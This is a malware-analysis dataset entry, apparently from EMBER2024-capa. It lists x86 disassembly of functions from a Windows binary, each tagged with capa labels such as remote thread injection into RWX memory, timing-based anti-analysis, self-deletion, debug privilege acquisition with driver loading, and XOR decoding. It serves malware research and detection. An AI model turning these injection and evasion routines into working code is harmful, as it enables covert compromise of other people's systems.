joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4adf40
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0x1000
mov eax, dword [ebp - 4]
push eax
push esi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push esi
push 0
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4adfd8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push 0x1000
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push esi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push edi
push 0
push 0
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov dword [ebp - 0xc], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, esi
cdq
push edx
push eax
mov eax, dword [ebp + 8]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
push 0x8000
push 0
push edi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x8000
push 0
push esi
mov eax, dword [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4ae22c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [0x4bce18]
push eax
call sub.KERNEL32.DLL_EnterCriticalSection
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
push 0x40
push 0x1000
lea eax, [edi + 4]
push eax
push 0
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x1000
push ebp
push esi
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [esp + 4]
push eax
push edi
mov eax, dword [esp + 8]
push eax
push ebx
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [esp + 4]
push eax
push 0
push ebx
push esi
push 0
push 0
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov ebp, eax
push 0xffffffffffffffff
push ebp
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [esp + 4]
push eax
push 4
lea eax, [esp + 0x10]
push eax
mov eax, ebx
cdq
push edx
push eax
mov eax, edi
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
mov edi, dword [esp + 8]
push 0x8000
push 0
push esi
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x8000
push 0
push ebx
mov eax, dword [0x4bc7f8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualFreeEx
push ebp
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [0x4bce18]
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
mov eax, edi
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ae3b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov ebp, eax
mov esi, dword [0x4bcb84]
mov edi, dword [0x4bc7f8]
mov dword [esp], 1
mov dword [esp + 4], ebp
mov eax, dword [edi]
push eax
call sub.ntdll.dll_ZwSuspendProcess
cmp ebp, 9
jne 0x4ae3f8
mov eax, dword [esi + 0x78]
call fcn.004b0f9c
mov dword [esp + 0x18], eax
lea edx, [esp + 0x18]
mov eax, dword [esi + 0x80]
call fcn.004b0fcc
mov edx, esp
mov eax, dword [esi + 0xa8]
mov ecx, 8
call fcn.004b1104
mov eax, dword [edi]
push eax
call sub.ntdll.dll_ZwResumeProcess
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [esp + 0x10]
sbb edx, dword [esp + 0x14]
cmp edx, 0
jne 0x4ae43e
cmp eax, 0x3e8
jbe 0x4ae440
jmp 0x4ae46a
jg 0x4ae46a
lea eax, [esp + 8]
push eax
push 8
lea eax, [esp + 8]
push eax
mov eax, dword [esi + 0xa8]
push eax
mov eax, dword [edi]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [esp], 0
je 0x4ae46a
push 0x14
call sub.KERNEL32.DLL_Sleep_1
jmp 0x4ae421
mov eax, ebx
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4aec00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff58
push ebx
push esi
push edi
mov byte [ebp - 1], 0
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
xor ecx, ecx
push ebp
push 0x4aed40
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, dword [0x4bcf48]
cmp byte [eax], 0
jne 0x4aec42
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aed53
mov eax, dword [0x4bcb84]
cmp dword [eax + 0x50], 0
jne 0x4aec5a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aed53
lea edx, [ebp - 0x5c]
mov eax, dword [0x4bcb84]
mov eax, dword [eax + 0x88]
mov ecx, 0x4c
call fcn.004b1098
fstp st(0)
lea edx, [ebp - 0xa8]
mov eax, dword [0x4bcb84]
mov eax, dword [eax + 0x98]
mov ecx, 0x4c
call fcn.004b1098
fstp st(0)
mov eax, dword [ebp - 0xa8]
cmp eax, 1
jb 0x4aeca1
cmp eax, 0x12
jbe 0x4aecc4
call fcn.004aea60
test al, al
je 0x4aecb7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aec1d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aed53
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x5c]
cmp edx, eax
jne 0x4aecdd
pop dword fs:[0]
add esp, 8
jmp 0x4aed4f
inc eax
mov esi, edx
sub esi, eax
jl 0x4aed0c
inc esi
mov edx, eax
lea ebx, [ebp + edx*4 - 0xa8]
mov eax, dword [ebx]
cmp eax, 1
jb 0x4aed0c
cmp eax, 9
ja 0x4aed0c
call fcn.004ae3b0
push 0xa
call sub.KERNEL32.DLL_Sleep
add ebx, 4
dec esi
jne 0x4aecee
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
cmp edx, 0
jne 0x4aed27
cmp eax, 0x2710
jbe 0x4aed33
jmp 0x4aed29
jle 0x4aed33
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aed53
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aec1d
mov byte [ebp - 1], 1
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4aed60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, dword [0x4bcb84]
mov eax, dword [eax + 0x78]
call fcn.004b0f9c
mov dword [ebp - 8], eax
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4aee0c
push dword fs:[edx]
mov dword fs:[edx], esp
push 1
call sub.KERNEL32.DLL_Sleep
mov eax, dword [0x4bcf48]
cmp byte [eax], 0
jne 0x4aedaf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aee1b
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
cmp edx, 0
jne 0x4aedca
cmp eax, 0x2710
jbe 0x4aedd6
jmp 0x4aedcc
jle 0x4aedd6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aee1b
mov eax, dword [0x4bcb84]
mov eax, dword [eax + 0x80]
call fcn.004b0f9c
cmp eax, dword [ebp - 8]
jb 0x4aedff
mov eax, 9
call fcn.004ae3b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aee1b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4aed86
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4aee28
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, eax
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [ebp - 8]
sbb edx, dword [ebp - 4]
push edx
push eax
mov eax, esi
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4aee61
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4aee65
jmp 0x4aee6e
pop edx
pop eax
jl 0x4aee6e
push 0x64
call sub.KERNEL32.DLL_Sleep
jmp 0x4aee3f
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4afeb4
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe88
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4b00da
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402adc
test eax, eax
jne 0x4b00af
xor edx, edx
push ebp
push 0x4b0097
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x160]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x168]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.00409310
push dword [ebp - 0x164]
push 0x4b00f4
lea eax, [ebp - 0x16c]
call fcn.004b0108
push dword [ebp - 0x16c]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a20
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402b3c
push 0x40
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x416994]
call fcn.0041b404
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x416994]
call fcn.0041b404
mov esi, eax
push 0
push 0
mov edx, ebx
mov eax, esi
call fcn.0041b1ec
call fcn.00402b9c
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 0x64
sbb edx, 0
call fcn.0040317c
cdq
push edx
push eax
mov eax, ebx
call fcn.0041af70
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, ebx
call fcn.0041af50
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
call fcn.0040317c
cdq
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.0041b1ec
mov eax, ebx
call fcn.004038cc
mov eax, esi
call fcn.004038cc
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.0040315c
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 1
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
push dword [ebp - 0xc]
push 0x4b0100
lea edx, [ebp - 0x178]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.004b02a0
push dword [ebp - 0x174]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.00404a20
mov eax, dword [ebp - 0x170]
call fcn.00404b60
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b009e
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b00e1
lea eax, [ebp - 0x178]
mov edx, 6
call fcn.004046c4
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004046c4
ret
Function at 0x4b213c
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
xor eax, eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b22f8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1d4]
xor eax, eax
call fcn.00402b3c
mov eax, dword [ebp - 0x1d4]
lea ecx, [ebp - 4]
mov edx, 0x4b2310
call fcn.00409248
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402ef0
lea eax, [ebp - 0x1d0]
call fcn.00402c8c
call fcn.0040291c
mov edx, 0x4b2320
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
mov edx, 0x4b2334
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
push 0x4b2340
lea edx, [ebp - 0x1dc]
xor eax, eax
call fcn.00402b3c
push dword [ebp - 0x1dc]
push 0x4b2350
lea eax, [ebp - 0x1d8]
mov edx, 3
call fcn.00404a20
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
push 0x4b235c
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402b3c
push dword [ebp - 0x1e4]
push 0x4b2370
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404a20
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
mov edx, 0x4b2384
lea eax, [ebp - 0x1d0]
call fcn.00404d7c
call fcn.00403380
call fcn.0040291c
lea eax, [ebp - 0x1d0]
call fcn.00402fb8
call fcn.0040291c
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404b60
push eax
push 0
mov eax, dword [0x4bceb4]
mov eax, dword [eax]
call fcn.0045445c
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x4bcd00]
mov eax, dword [eax]
call fcn.0043f458
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b22ff
lea eax, [ebp - 0x1e4]
mov edx, 5
call fcn.004046c4
lea eax, [ebp - 4]
call fcn.004046a0
ret
Function at 0x4b2bd0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, eax
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
mov eax, dword [0x4be074]
cmp byte [eax + 0x31d], 0
jne 0x4b2c23
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [esp]
sbb edx, dword [esp + 4]
push edx
push eax
mov eax, esi
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4b2c16
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4b2c1a
jmp 0x4b2c23
pop edx
pop eax
jl 0x4b2c23
push 0x64
call sub.KERNEL32.DLL_Sleep
jmp 0x4b2be5
mov eax, ebx
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4b2d10
Capabilities:
Create thread
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x4b2ddf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4be070]
mov edx, dword [eax]
call dword [edx + 0x44]
push 0
push 0x4b38d4
call sub.user32.dll_EnumWindows
mov eax, dword [0x4be070]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jl 0x4b2dc4
lea ecx, [ebp - 4]
xor edx, edx
mov eax, dword [0x4be070]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 4]
call fcn.00408dd4
call fcn.004b2c2c
lea eax, [ebp - 8]
call fcn.004b1868
mov edx, dword [ebp - 8]
mov eax, 0x4b2df4
call fcn.004b1748
cmp dword [0x4be154], 0
jne 0x4b2d9f
push 0x4be15c
push 0
push 0
push 0x4aee78
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4be154], eax
cmp dword [0x4be158], 0
jne 0x4b2dc4
push 0x4be160
push 0
push 0
push 0x4aea4c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4be158], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b2de6
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c4
ret

Function at 0x4b58f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4b59b8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10d]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push 0x4b59d0
push 0x4b59dc
mov ecx, dword [0x4bd668]
mov dl, 1
mov eax, dword [0x416b88]
call fcn.0041b9d4
mov esi, eax
lea eax, [ebp - 4]
call fcn.004b57bc
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x10d]
mov ecx, 0x105
call fcn.00404910
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.004049ac
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.0041b64c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004b59e8
mov eax, dword [ebp - 8]
call fcn.004091b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b59bf
lea eax, [ebp - 0x114]
call fcn.004046a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c4
ret
Function at 0x4b59e8
Capabilities:
Acquire debug privileges
Install driver

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b50
mov eax, dword [ebp - 8]
call fcn.00404b50
xor eax, eax
push ebp
push 0x4b5bc9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor edx, edx
push ebp
push 0x4b5b81
push dword fs:[edx]
mov dword fs:[edx], esp
call sub.KERNEL32.DLL_GetCurrentProcess
mov edx, 0x4b5bdc
call fcn.004b5874
test al, al
jne 0x4b5a52
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b5b96
call sub.KERNEL32.DLL_GetCurrentProcess
mov edx, 0x4b5bf0
call fcn.004b5874
test al, al
jne 0x4b5a72
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b5b96
mov dl, 1
mov eax, dword [0x4303cc]
call fcn.00430478
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00430518
mov cl, 1
mov edx, 0x4b5c10
mov eax, ebx
call fcn.0043065c
test al, al
je 0x4b5ae4
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00430580
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0043065c
mov ecx, 1
mov edx, 0x4b5c3c
mov eax, ebx
call fcn.0043098c
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov edx, 0x4b5c4c
call fcn.004049ac
mov ecx, dword [ebp - 0x20]
mov edx, 0x4b5c5c
mov eax, ebx
call fcn.00430960
mov eax, ebx
call fcn.004304e8
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x4b5c70
call fcn.004049ac
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00404f20
mov eax, dword [ebp - 0x14]
call fcn.00404f40
add eax, eax
mov word [ebp - 0x1c], ax
mov eax, dword [ebp - 0x14]
call fcn.00404f40
add eax, eax
add ax, 2
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 0x14]
call fcn.00404f30
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll_ZwLoadDriver
test eax, eax
je 0x4b5b48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b5b96
mov edx, 0x80000002
mov eax, ebx
call fcn.00430518
mov cl, 1
mov edx, 0x4b5c10
mov eax, ebx
call fcn.0043065c
test al, al
je 0x4b5b70
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00430780
mov eax, ebx
call fcn.004304e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b5b92
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5bd0
lea eax, [ebp - 0x20]
call fcn.004046a0
lea eax, [ebp - 0x14]
call fcn.00404dd4
lea eax, [ebp - 0x10]
call fcn.004046a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c4
ret
Function at 0x401eec
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x401f05
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 4], ecx
lea edi, [eax + esi]
jmp 0x401f28
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x401f2d
inc edi
cmp edi, dword [ebp - 4]
jb 0x401f1f
mov eax, edi
sub eax, esi
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 4]
jae 0x402025
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x401f84
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp + 0xc], eax
test cl, cl
je 0x401f58
cmp cl, 0xff
jne 0x401faf
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
cmp dword [ebp + 0x18], 0
je 0x401fbd
lea ebx, [esi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x401fc4
dec ecx
shl edx, cl
and edx, 7
je 0x401f49
movzx ecx, byte [edx + 0xfed294]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0xfed28c], 0
mov cl, byte [ebx + 4]
je 0x401fac
test cl, cl
je 0x401fac
cmp cl, 0xff
jne 0x401f49
mov dword [ebp + 0xc], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x401f1a
sub esi, eax
sub esi, dword [ebp + 0x10]
mov ebx, esi
test edx, edx
je 0x401ff8
movzx esi, byte [edx + 0xfed294]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
mov eax, ebx
shr eax, cl
test al, al
je 0x401fe3
cmp al, 0xff
jne 0x401ff5
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, ebx
jmp 0x401f76
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x401f1a
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret

Function at 0x438c79
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x438a14
mov eax, 0x58eac181
mov edx, edx
sub edx, 0x6f33d8b
call fcn.00438cab
mov edx, eax
inc eax
xor dword [ecx], edi
and edx, eax
inc ecx
dec edx
cmp ecx, ebx
jne fcn.00438c79
push edx
pop edx
mov eax, 0x7c5d8fea
or edx, edx
ret